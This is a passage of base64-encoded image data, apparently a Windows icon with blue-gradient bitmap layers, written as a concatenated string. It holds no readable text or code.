AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAADAAAABgAAAAAQAgAAAAAAAASAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAM8wKETfVXBQ609QUONP7FDjT/xI30v8SNtL/ETXR/xA00P8QM9D/DzLP/w4xzv8NMM3/DC/N/wsu + zP8LLcv/CizI/wkqx/8IKcX/CCnD/wYow/8GJ8T/BSfF/wQlxv8EJMX/AyTF/wIixP8BIsP/ASHD/wAg + wv8AIML/ACDC/wAgwv8SMMb4Q1zScgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAz5QoWOtWAFjvW9BU61f8VOdT/FDnU/xM30/8SN9L/EjbS/xE00f8QNND/EDPQ/w4x + z/8OMc7/DTDN/wwvzP8LLsj/CyzH/woqw/8JKcH/CCnB/wcpw/8GKMP/BifE/wUmxv8EJcb/BCTF/wIj + xP8CIsT/ASLD/wAgwv8AIML/ACDC/wAgwv8AIML/EjDG+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAABY714EXPNf0FzzW/xY71f8VOtX/FTnU/xQ40/8TN9P/EjfS/xE1 + 0f8RNNH/EDTQ/w8yz/8OMc//DjHO/wwvyv8MLsf/CyzC/woqvf8KKb7/CSnA/wgpwv8HKcP/BijD/wUn + xf8FJsb/BCXG/wMkxf8CI8T/AiLE/wEhw/8AIML/ACDC/wAgwv8AIML/ACDC/wAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM8wKGD/ZgRk/2P8ZPtj/GD7X/xc81v8XPNb/FjvV/xU5 + 1P8UOdT/FDjT/xI30v8SNtL/ETXR/xA00P8PM8//DzHK/w4ux/8NLcP/DCy7/wsru/8LKrz/Cim9/wkp + wP8IKcH/CCnC/wYow/8GJ8T/BSfF/wQlxv8EJMX/AyTF/wIixP8BIsP/ASHD/wAgwv8AIML/ACDC/wAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkz5QoaQdmBGkHa9BpA2f8ZP9j/GT7Y/xg9 + 1/8XPNb/FzzW/xU61f8VOdT/FDnU/xM30/8SN9L/EjbS/xE00P8QM8v/DzHI/w0vwv8NLLv/DSy6/wws + u/8LK7v/Cyq8/wopvv8JKb//CCnB/wcpw/8GKMP/BifE/wUmxv8EJcb/BCTF/wIjxP8CIsT/ASLD/wAh + wv8AIML/ACDC/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABxD24EcQ9v0HELb/xtB + 2f8aQNn/GT/Y/xg+1/8YPdf/FzzW/xY71f8VOtX/FTnU/xQ40/8TN9P/EjfS/xE0zP8QM8j/DzHD/w0s + tv8NLLb/DSy5/wwsuv8MLLv/Cyu7/wopvf8KKb7/CSnA/wgpwv8HKcP/BijD/wUnxf8FJsb/BCXG/wMk + xf8CI8T/AiLE/wEhw/8AIcL/ACDC/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM+UKHkXfgR5F + 3f8eRNz/HUTb/xxC2/8bQdr/G0HZ/xk/2P8ZPtj/GD7X/xc81v8XPNb/FjvV/xU51P8UONP/EzbN/xEz + x/8QMsL/Dy61/w0ts/8NLbT/DSy2/w0suf8NLLr/DCy6/wsru/8LKrz/Cim9/wkpwP8IKcH/CCnC/wYo + w/8GJ8T/BSfF/wQlxv8EJMX/AyTF/wIixP8BIsP/ASHD/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkz + 5QoeR92BH0fd9B9G3f8eRd3/HkTc/xxD2/8cQtv/G0Ha/xpA2f8ZP9j/GT7Y/xg91/8XPNb/FzzW/xU6 + 1P8UOM3/EzbH/xEzwf8PLrP/Dy2u/w4sr/8NLbH/DS20/w0stv8NLLj/DSy6/wwsu/8LK7v/Cyq8/wop + vv8JKb//CCnB/wcpw/8GKMP/BifE/wUmxv8EJcb/BCTF/wMjxP8CI8T/ASLD/wAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAACBH4YEgSN/0IUjf/x9G3v8fRt3/HkXd/x1E2/8cQ9v/HELb/xtB2f8aQNn/GT/Y/xg+ + 1/8YPdf/FzzW/xU5zv8UN8j/FDXB/w8sov8OJ5j/DSeY/w0onP8NKqf/DS2y/w0stf8NLLb/DSy5/wws + uv8MLLv/Cyu7/wopvf8KKb7/CSnA/wgpwv8HKcP/BijD/wUnxf8FJsb/BCXG/wMkxf8DI8T/AiLE/wAA + AAAAAAAAAAAAAAAAAAAZM+UKIkvhgSNL4f8iSuD/Ikng/yFI3/8gR97/H0be/x5F3f8eRNz/HUTb/xxC + 2/8bQdr/G0HZ/xk/2P8YPtf/FzvO/xU4yP8UNcL/rbfk/+rq6//r6+v/6urq/46Yxf8NKaD/Di2w/w0t + s/8NLbT/DSy2/w0suf8NLLr/DCy6/wsru/8LKrz/Cim9/wkpwP8IKcH/CCnC/wYow/8GJ8T/BSfF/wQl + xv8EJMX/AyTF/wAAAAAAAAAAAAAAABlM5QokTeGBJUzh9CNM4f8jS+H/Ikrg/yFJ3/8hSN//IEfe/x9G + 3f8eRd3/HkTc/xxD2/8cQtv/G0Ha/xpA2P8ZPM//FzrI/xU3wf8UNbv/1tzy/+vr6//r6+v/6+vr/8bK + 3P8RLKD/Dy2v/w4tsv8NLbL/DS20/w0stv8NLLj/DSy6/wwsu/8LK7v/Cyq8/wopvv8JKb//CCnB/wcp + w/8GKMP/BifE/wUmxv8EJsb/BCTF/wAAAAAAAAAAAAAAACZP44EmTuL0JU7j/yRM4v8jTOH/I0vh/yJJ + 4P8hSd//IUjf/x9G3v8fRt3/HkXd/x1E2/8cQ9v/HELb/xo/0P8YO8n/FzjA/xU2uf8VNbn/193z/+vr + 6//r6+v/6+vr/8fL3f8SLJ//Dy2u/w4usf8OLbL/DS2z/w0stf8NLLb/DSy5/wwsuv8MLLv/Cyu7/wop + vf8KKb7/CSnA/wgpwv8HKcP/BijD/wUnxf8FJsb/BCXG/wAAAAAZTOUKJlHlgShR5f8nUOT/J0/k/yVO + 4/8lTeL/JEzi/yNL4f8iSuD/Ikng/yFI3/8gR97/H0be/x5F3f8dRNv/G0DQ/xk8x/8YOsH/Fze3/xU2 + t/8VNrj/193z/+vr6//r6+v/6+vr/8jL3P8TLZ3/EC2s/w8ur/8PLrD/Di6x/w0ts/8NLbT/DSy2/w0s + uf8NLLr/DCy6/wsru/8LKrz/Cim9/wkpwP8IKcH/CCnC/wYoxP8GJ8X/BSfG/xxV4xIoUueAKVLl9ChR + 5f8oUeX/J1Dk/yZO4/8lTuP/JU3i/yNM4f8jS+H/Ikrg/yFJ3/8hSN//IEfe/x5F3P8dQtH/Gz7I/xk7 + v/8YOLj/Fze3/xY3t/8VNrf/193z/+vr6//r6+v/6+vr/8jM3P8TLp3/ES6r/xAurv8PLq//Dy6w/w4t + sv8NLbL/DS20/w0stv8NLLj/DSy6/wwsu/8LK7v/Cyq8/wopvv8JKb//CCnB/wcpw/8HKcT/BifF/ypV + 52wrU+j0KlPn/ylS5v8oUeX/KFHl/ydP5P8mTuP/JU7j/yRM4v8jTOH/I0vh/yJJ4P8hSd//IUjf/x5D + 0v8cQMj/Gju+/xg5tf8YOLX/GDi2/xc3t/8WN7f/193y/+vr6//r6+v/6+vr/8jL3P8TLpz/ES6q/xEu + rf8QLq7/Dy6v/w4usf8OLbL/DS2z/w0stf8NLLb/DSy5/wwsuv8MLLv/Cyu7/wopvf8KKb7/CSnA/wgp + wv8HKcP/BijE/ytW6dUsVuj/K1Xo/ypT5/8pU+b/KVLm/yhR5f8nUOT/J0/k/yVO4/8lTeL/JEzi/yNL + 4f8iSt//H0TS/x1Axv8bPr3/GTiy/xg4sv8YOLP/GDiz/xc3tf8XNrb/2N3y/+vr6//r6+v/6+vr/8jL + 3P8ULZn/ES6n/xEvqv8RLqv/EC2s/w8trv8PLa//Di2w/w0tsv8NLbT/DSy2/w0suf8NLLr/DCy6/wsr + u/8LKrz/Cim9/wkpwP8IKcL/CCnD/y1X6vssVun/LFbo/ytU6P8qU+f/KVPm/yhR5f8oUeX/J1Dk/yZO + 4/8lTuP/JU3i/yNL4P8gRtH/HD69/xk5sP8YNaT/FzSi/xYzov8WM6L/FjOj/xUypP8VMqX/ztPm/+vr + 6//r6+v/6+vr/8jL2/8TLJL/ECqY/w8qm/8PK5v/Dyqc/w4pnv8NKZ//DSmg/w0qqP8NLbH/DS20/w0s + tv8NLLj/DSy6/wwsu/8LK7v/Cyq8/wopvv8JKcH/CCnF/y5Y6/4tV+r/LFbp/ytV6P8rVOj/KlPn/ylS + 5v8oUeX/KFHl/ydP5P8mTuP/JU7j/yxS3f9zhsz/rLXW/8PI3P/IzN3/yMzd/8fM3f/HzN3/x8zd/8fM + 3f/HzN3/5OXo/+vr6//r6+v/6+vr/+Xl6P/Hy9v/x8vb/8bL3P/Gy9z/xsvc/8bK3P/Fydz/hJHB/w0o + nP8OLK7/DS2z/w0stf8NLLb/DSy5/wwsuv8MLLv/Cyu7/woqvf8KKsP/CSrG/y9Z7P4uWer/Lljq/yxW + 6f8sVuj/K1Xo/ypT5/8pU+b/KVLm/yhR5f8nUOT/KlHk/7bC7f/r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6enq/xArmv8PLa3/Di6x/w0ts/8NLbT/DSy2/w0suf8NLLr/DCy6/wstwf8LLMb/CivG/y9a + 7f4vWev/Llnq/y1X6v8sVun/LFbo/ytU6P8qU+f/KVPm/yhR5f8oUeX/Vnbn//P09P/r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6urr/xItnf8PLa7/Dy6w/w4tsv8NLbL/DS20/w0stv8NLLn/DS3A/wwu + xv8LLcb/Cy3J/zBb7f4vWuz/L1nr/y5Y6v8tV+r/LFbp/ytV6P8rVOj/KlPn/ylS5v8oUeX/hZvu//Hx + 8f/r6+v/6+vr/+vr6//t7e3/+Pj4//v7+//7+/v/+/v7//v7+//7+/v/+/v7/+vr6//r6+v/6+vr/+vr + 6//y8vL/+/v7//v7+//7+/v/+/v7//v7+//6+vr/yM7m/xEuqf8QLq7/Dy6v/w4usf8OLbL/DS2z/w0t + tf8NLb7/DS/E/wwuxf8MLsr/Cy7M/zFc7v4wW+3/MFvs/y9Z6/8uWer/Lljq/yxW6f8sVuj/K1Xo/ypT + 5/8pU+b/rrzw/+/v7//r6+v/6+vr/9vd5P9YbLT/IkCv/yFAsv8gQLL/ID+z/yA/tP8fP7T/2d7y/+vr + 6//r6+v/6+vr/8jM2/8VL5P/EzCg/xMwov8TMKT/EzCl/xIvp/8SL6j/Ei+p/xIvq/8RL6z/ES6t/w8u + r/8PLrD/Di6y/w8vvf8PMMX/DjDF/w0wyv8NMM3/DC/N/zJe7/4xXO3/MFvt/y9a7P8vWev/Llnq/y1X + 6v8sVun/LFbo/ytU6P8qU+f/xc/z/+3t7f/r6+v/6+vr/9HV4P82T6j/HDuu/xw8sP8cPLD/Gzuw/xs6 + sv8bOrL/2N7y/+vr6//r6+v/6+vr/8jM2v8WL5H/FDCf/xQxov8TMKL/EzCk/xMwpf8SL6f/Ei+o/xIv + qf8SL6v/ES+s/xAurv8PLrH/DzC8/xAxxP8PMcX/DzLL/w8yz/8OMc7/DTDN/zNe7/4yXe7/MVzt/zBb + 7P8vWuz/L1nr/y5Y6v8tV+r/LFbp/ytV6P8rVOj/0tn2/+zs7P/r6+v/6+vr/87S3/8tR6T/HDyt/x08 + sP8cPLD/HDyw/xs6sf8bOrL/2N3y/+vr6//r6+v/6+vr/8jM2v8WL5D/FDCd/xQxof8UMaL/EzCi/xMw + pf8TMKX/Ei+n/xIvqf8SL6n/Ei+r/xEvrv8RMbr/ETPC/xAzw/8QM8v/EDTP/w8zz/8PMs//DjHO/zRf + 8P4zX+//Ml7u/zFc7f8wW+3/MFvs/y9Z6/8uWer/Lljq/yxW6f8sVuj/2N/5/+vr6//r6+v/6+vr/8vP + 3f8lQKD/HTys/x09rv8dPK//HTyw/xw8sP8bO7D/2N7x/+vr6//r6+v/6+vr/8jM2v8XL47/FTGb/xUx + nv8UMaD/FDGh/xMwov8TMKT/EzCl/xIvp/8SL6j/Ei+r/xIyuP8TNcP/EzTD/xI1zP8SNtL/ETXR/xA0 + 0P8QM9D/DzLP/zRg8f40X+//M1/v/zJd7v8xXO3/MFvt/y9a7P8vWev/Llnq/y1X6v8sVun/2eD6/+vr + 6//r6+v/6+vr/8rO3f8hPJ3/Hjup/x07qv8dO6v/HDus/xw6rP8bOqz/2N3x/+vr6//r6+v/6+vr/8jM + 2v8XLov/FS+X/xQwmv8UL5v/FC+d/xMvnv8TL5//Ey+h/xIuo/8SL6j/EzO3/xM1wv8TNcT/EzbN/xM3 + 0/8SN9L/EjbS/xE10f8QNND/EDPQ/zVh8f40YPD/NF/v/zJe7v8yXe7/MVzt/zBb7P8vWuz/L1nr/y5Y + 6v8tV+r/2uH6/+vr6//r6+v/6+vr/8rO3P8jPJX/IDuX/x86mP8fOpn/HzqZ/x45mv8cOJn/ys/f/+vr + 6//r6+v/6+vr/9HT3v8vQ5D/EiqG/xIqiP8RKoj/ESqJ/xAqjP8QKoz/ECqN/xApkv8TMaz/FTa//xU3 + w/8VOM3/FTnT/xQ40/8TN9P/EjfS/xE20f8RNdH/EDTQ/zZi8v41YfH/NWDw/zRf7/8zX+//Ml7u/zFc + 7f8wW+3/MFvs/y9Z6/8vWev/3OP7/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//q6ur/6urq/+vr6//r6+v/6+vr/+vr6//o6On/5ebn/+Xm5//l5uf/5ebn/+Xm5//l5uj/4+Tm/4SQ + wv8TM6//FTfA/xc6zv8XPNb/FjvV/xU51P8UOdT/FDjT/xI30v8SNtL/ETXR/zdj8/42YvH/NWHx/zRg + 8P80X+//M1/v/zJd7v8xXO3/MFvt/y9a7P8wWuv/3OP7/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//s7Oz/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/8bL3v8UNLH/FzzO/xg91/8XPNb/FzzW/xU61f8VOdT/FDnU/xM40/8TN9L/EjbS/zdk + 8/42Y/L/NmLx/zVg8P80YPD/NF/v/zJe7v8yXe7/MVzt/zBb7P8wW+z/3OP7/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6urr/9fa5v/39/f/7+/v/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6+vr/8fM4f8XOsP/GT/X/xg+1/8YPdf/FzzW/xY71f8VOtX/FTnU/xQ4 + 0/8TONP/EjfS/zhl9P44ZPP/N2Ty/zZi8f81YfH/NWDw/zRf7/8zX+//Ml7u/zFc7f8wW+3/2uH7/+vr + 6//r6+v/6+vr/+Xm6P/Q1eX/2d7v/9ne8P/Z3vD/2d7x/9ne8f/Y3fD/rrne/zhTtv+mstz/1Nnu/9nf + 8f/a3/L/2d/y/9ne8v/Z3/L/2d/0/9rg+f/a4Pn/2N/4/4ic5v8bQdr/G0HZ/xk/2P8ZPtj/GD7X/xc8 + 1v8XPNb/FjvV/xU51P8UOdT/FDjT/zlm9f44ZfP/OGTz/zZj8v82YvH/NWHx/zRg8P80X+//M1/v/zJd + 7v8xXO3/2eD6/+zs7P/r6+v/6+vr/8rO3P8hPZn/ID+n/yA+qv8fPqr/Hz6r/x8+rP8fPqz/Hj2t/x49 + rv8dPa7/HTyv/x8+sP8fPrH/Hj6x/x49s/8ePrf/IETN/yJI3v8hSN3/H0bc/xxD2/8cQtv/G0Ha/xpA + 2f8ZP9j/GT7Y/xg91/8XPNb/FzzW/xY71f8VOtT/FDnU/zln9f45ZvT/OGXz/zdk8v82Y/L/NmLx/zVg + 8P80YPD/NF/v/zJe7v8yXe7/1N34/+3t7f/r6+v/6+vr/8vP3P8mQJn/ID+n/yA/qf8gPqr/Hz6q/x8+ + rP8fPqz/Hz6s/x49rf8ePa7/HT2u/x08sP8cPLD/HDyw/xs7s/8eQsz/IUfd/x9G3v8fRt3/HkXd/x1E + 2/8cQ9v/HELb/xtB2f8aQNn/GT/Y/xg+1/8YPdf/FzzW/xY71f8WO9X/FTnU/zpo9v46Z/X/OWf0/zhl + 8/84ZPP/N2Ty/zZi8f81YfH/NWDw/zRf7/8zX+//y9X2//Dw8P/r6+v/6+vr/8/T3v8xSZz/Hz6k/yA/ + p/8gP6f/ID6o/x89qf8ePar/Hj2q/x49q/8ePaz/Hj2t/x09rv8dPK//HTyy/x9Ey/8iSuD/Ikng/yFI + 3/8gR97/H0be/x5F3f8eRNz/HUTb/xxC2/8bQdr/G0HZ/xk/2P8ZPtj/GD7X/xc81v8XPNb/FjvV/ztp + 9/46aPX/Omf1/zlm9P84ZfP/OGTz/zZj8v82YvH/NWHx/zRg8P80X+//t8Xz//Ly8v/r6+v/6+vr/9ja + 4v9OYqX/ITyX/yE8mf8hPJn/ITya/yA7m/8gO5z/Hjqc/xs4nP8dOqX/Hjys/x49rv8ePrP/IUbN/yNM + 4f8jS+H/Ikrg/yFJ3/8hSN//IEfe/x9G3f8eRd3/HkTc/xxD2/8cQtv/G0Ha/xpA2f8ZP9j/GT7Y/xg9 + 1/8XPdb/FzzW/zxq9/47afb/Omj1/zln9P85ZvT/OGXz/zdk8v82Y/L/NmLx/zVg8P80YPD/k6r0//X1 + 9f/r6+v/6+vr/+jp6f/U1uD/ys7c/8rO3P/Kztz/ys7c/8rO3P/Kztz/yMzb/3WDt/8bOJz/Hj2r/x49 + r/8iR8z/JU3h/yRM4v8jTOH/I0vh/yJJ4P8hSd//IUjf/x9G3v8fRt3/HkXd/x1E2/8cQ9v/HELb/xtB + 2f8aQNn/GT/Y/xg+1/8YPdf/FzzW/z1r+P48avf/PGn3/zpo9f86Z/X/OWf0/zhl8/84ZPP/N2Ty/zZi + 8f81YfH/cI/x//r6+v/s7Oz/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/8jM + 2/8eOpz/Hj6t/yRIy/8nUOT/J0/k/yVO4/8lTeL/JEzi/yNL4f8iSuD/Ikng/yFI3/8gR97/H0be/x5F + 3f8eRNz/HUTb/xxC2/8bQdr/G0HZ/xk/2P8ZPtj/GD7X/z5s+f49a/f/PGr3/ztp9v86aPX/Omf1/zlm + 9P84ZfP/OGTz/zZj8v82YvH/O2bw/87Y9//29vb/7u7u/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/8jN3f8gPqT/JUrN/yhR5f8oUeX/J1Dk/yZO4/8lTuP/JU3i/yNM4f8jS+H/Ikrg/yFJ + 3/8hSN//IEfe/x9G3f8eRd3/HkTc/xxD2/8cQtv/G0Ha/xpA2f8aQNj/GT7Y/z5t+v4+bPj/PWv3/zxp + 9/87afb/Omj1/zln9P85ZvT/OGXz/zdk8v82Y/L/NmLx/1F28f+zw/T/8PP4//v7+//7+/v/+/v7//v7 + +//7+/v/+/v7//v7+//7+/v/+vr6/6664v8mS87/KVLl/ylS5v8oUeX/KFHl/ydP5P8mTuP/JU7j/yRM + 4v8jTOH/I0vh/yJJ4P8hSd//IUjf/x9G3v8fRt3/HkXd/x1E2/8cQ9v/HELb/xtB2v8aQNn/GT/Y/z9u + +/4/bfn/Pmz5/z1r9/88avf/PGn3/zpo9f86Z/X/OWf0/zhl8/84ZPP/N2Ty/zZi8f81YfH/NWDw/zRg + 7/81Ye//N2Lu/zZg7f81X+3/NF/s/zNd6/8zXev/MFrq/yxW6f8sVuj/K1Xo/ypT5/8pU+b/KVLm/yhR + 5f8nUOT/J0/k/yVO4/8lTeL/JEzi/yNL4f8iSuD/Ikng/yFI3/8gR97/H0be/x5F3f8eRNz/HUTb/xxC + 2/8bQdr/G0HZ/0Bv+/4/bvr/P235/z5s+P89a/f/PGr3/ztp9v86aPX/Omf1/zlm9P84ZfP/OGTz/zZj + 8v82YvH/NWHx/zRg8P80X+//M1/v/zJd7v8xXO3/MFvt/y9a7P8vWev/Llnq/y1X6v8sVun/LFbo/ytU + 6P8qU+f/KVPm/yhR5f8oUeX/J1Dk/yZO4/8lTuP/JU3i/yNM4f8jS+H/Ikrg/yFJ3/8hSN//IEfe/x9G + 3f8eRd3/HkTc/x1D2/8cQ9v/G0Ha/0Fw/P5Abvr/P276/z5s+f8+bPj/PWv3/zxp9/87afb/Omj1/zln + 9P85ZvT/OGXz/zdk8v82Y/L/NmLx/zVg8P80YPD/NF/v/zJe7v8yXe7/MVzt/zBb7P8vWuz/L1nr/y5Y + 6v8tV+r/LFbp/ytV6P8rVOj/KlPn/ylS5v8oUeX/KFHl/ydP5P8mTuP/JU7j/yRM4v8jTOH/I0vh/yJJ + 4P8hSd//IUjf/x9G3v8fRt3/HkXd/x1E3P8dQ9v/HELb/0Fw/P5BcPv/QG/7/z9u+v8/bfn/Pmz5/z1r + 9/88avf/PGn3/zpo9f86Z/X/OWf0/zhl8/84ZPP/N2Ty/zZi8f81YfH/NWDw/zRf7/8zX+//Ml7u/zFc + 7f8wW+3/MFvs/y9Z6/8uWer/Lljq/yxW6f8sVuj/K1Xo/ypT5/8pU+b/KVLm/yhR5f8nUOT/J0/k/yVO + 4/8lTeL/JEzi/yNL4f8iSuD/Ikng/yFI3/8gR97/H0be/x5F3f8eRNz/HUTb/0Fw/P5Ccfz/QXD7/0Bu + +v8/bvr/P235/z5s+P89a/f/PGr3/ztp9v86aPX/Omf1/zlm9P84ZfP/OGTz/zZj8v82YvH/NWHx/zRg + 8P80X+//M1/v/zJd7v8xXO3/MFvt/y9a7P8vWev/Llnq/y1X6v8sVun/LFbo/ytU6P8qU+f/KVPm/yhR + 5f8oUeX/J1Dk/yZO4/8lTuP/JU3i/yNM4f8jS+H/Ikrg/yFJ3/8hSN//IEfe/x9G3f8eRd3/HkTc/0Fw + /P5Ccfz/QnH8/0Bv+/9Abvr/P276/z5s+f8+bPj/PWv3/zxp9/87afb/Omj1/zln9P85ZvT/OGXz/zdk + 8v82Y/L/NmLx/zVg8P80YPD/NF/v/zJe7v8yXe7/MVzt/zBb7P8vWuz/L1nr/y5Y6v8tV+r/LFbp/ytV + 6P8rVOj/KlPn/ylS5v8oUeX/KFHl/ydP5P8mTuP/JU7j/yRM4v8jTOH/I0vh/yJJ4P8hSd//IUjf/yBH + 3v8fRt3/HkXd/0Fw/P5Ccfz/QnH8/0Jx/P9BcPv/QG/7/z9u+v8/bfn/Pmz5/z1r9/88avf/PGn3/zpo + 9f86Z/X/OWf0/zhl8/84ZPP/N2Ty/zZi8f81YfH/NWDw/zRf7/8zX+//Ml7u/zFc7f8wW+3/MFvs/y9Z + 6/8uWer/Lljq/yxW6f8sVuj/K1Xo/ypT5/8pU+b/KVLm/yhR5f8nUOT/J0/k/yVO4/8lTeL/JEzi/yNL + 4f8iSuD/Ikng/yFI3/8gR97/H0be/kFx/PBCcfz/QnH8/0Jx/P9Ccfz/QXD7/0Bu+v8/bvr/P235/z5s + +P89a/f/PGr3/ztp9v86aPX/Omf1/zlm9P84ZfP/OGTz/zZj8v82YvH/NWHx/zRg8P80X+//M1/v/zJd + 7v8xXO3/MFvt/y9a7P8vWev/Llnq/y1X6v8sVun/LFbo/ytU6P8qU+f/KVPm/yhR5f8oUeX/J1Dk/yZO + 4/8lTuP/JU3i/yNM4f8jS+H/Ikrg/yFJ3/8hSN//IEfe5UBw+4tBcfzwQXD8/kFw/P5BcPz+QXD8/kFw + /P5Ab/v+P277/j5t+v4+bPn+PWv4/jxq9/47aff+Omj2/jln9f45ZvX+OGX0/jdk8/43Y/P+NmLy/jVh + 8f40YPH+NF/w/jNe7/4yXu/+MVzu/jBb7f4vWu3+L1ns/i5Y6/4tWOr+LFbq/itV6f4rVej+KlPo/ilS + 5/4oUub+KFHm/idQ5f4mT+T+JU7k/iRN4/4kTOL+I0vi/iJK4P4hSd/mIUjgbf/+AAAAAQAA//gAAAAA + AAD/8AAAAAAAAP/gAAAAAAAA/8AAAAAAAAD/gAAAAAAAAP8AAAAAAAAA/gAAAAAAAAD8AAAAAAAAAPgA + AAAAAAAA8AAAAAAAAADgAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAEAACgAAABAAAAAgAAAAAEAIAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAFDjUThU71MQVOdP3FDnU/xQ40/8TN9P/EjfS/xI20v8RNdH/ETTR/xA00P8QM9D/DzLP/w4x + z/8OMc7/DTDN/wwvzf8ML8z/Cy7M/wsty/8KLMn/CivI/wkqyP8IKcX/CCrD/wcpxP8GKMX/BifG/wUn + x/8FJsb/BCXG/wQkxf8DJMX/AiPE/wIixP8BIsP/ASHD/wAgwv8AIML/ACDC/wAgwv8AIML/ASHC/y5I + zPBzhN08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAFjvUghc81v8WO9X/FTrV/xU51P8UOdT/FDjT/xM30/8SN9L/EjbS/xE1 + 0f8RNNH/EDTQ/xAz0P8PMs//DjHP/w4xzv8NMM3/DC/N/wwvzP8LLcn/CyzH/worx/8KKsT/CSnC/wgq + w/8IKsP/BynE/wYoxf8GJ8b/BSfH/wUmxv8EJcb/BCTF/wMkxf8CI8T/AiLE/wEiw/8BIcP/ACDC/wAg + wv8AIML/ACDC/wAgwv8AIML/LkjM8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFzzYgxg91/8XPNb/FzzW/xY71f8VOtX/FTnU/xQ5 + 1P8UONP/EzfT/xI30v8SNtL/ETXR/xE00f8QNND/EDPQ/w8yz/8OMc//DjHO/w0wzf8ML8r/DC7H/wst + x/8LK8P/Cim//wopwf8JKcL/CCrD/wgqw/8HKcT/BijF/wYnxv8FJ8f/BSbG/wQlxv8EJMX/AyTF/wIj + xP8CIsT/ASLD/wEhw/8AIML/ACDC/wAgwv8AIML/ACDC/wEhwv8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGT7Ygxk+2P8YPtf/GD3X/xc8 + 1v8XPNb/FjvV/xU61f8VOdT/FDnU/xQ40/8TN9P/EjfS/xI20v8RNdH/ETTR/xA00P8QM9D/DzLP/w4x + z/8OMMv/DS/H/wwux/8MLML/Cyu9/wsqvv8KKb//CinB/wkpwv8IKsP/CCrD/wcpxP8GKMX/BifG/wUn + x/8FJsb/BCXG/wQkxf8DJMX/AiPE/wIixP8BIsP/ASHD/wAgwv8AIML/ACDC/wAgwv8AIML/AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGUDagxpA + 2f8ZP9j/GT7Y/xg+1/8YPdf/FzzW/xc81v8WO9X/FTrV/xU51P8UOdT/FDjT/xM30/8SN9L/EjbS/xE1 + 0f8RNNH/EDTQ/xAz0P8PMcv/Di/J/w4vyP8NLsL/DCy7/wwsvP8LK73/Cyq+/wopv/8KKcH/CSnC/wgq + w/8IKsP/BynE/wYoxf8GJ8b/BSfH/wUmxv8EJcb/BCTF/wMkxf8CI8T/AiLE/wEiw/8BIcP/ACDC/wAg + wv8AIML/ACDC/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAG0LagxtB2v8bQdn/GkDZ/xk/2P8ZPtj/GD7X/xg91/8XPNb/FzzW/xY71f8VOtX/FTnU/xQ5 + 1P8UONP/EzfT/xI30v8SNtL/ETXR/xE00f8PM8z/DzHI/w8wyP8OLsP/DSy7/w0su/8MLLv/DCy8/wsr + vf8LKr7/Cim//wopwf8JKcL/CCrD/wgqw/8HKcT/BijF/wYnxv8FJ8f/BSbG/wQlxv8EJMX/AyTF/wIj + 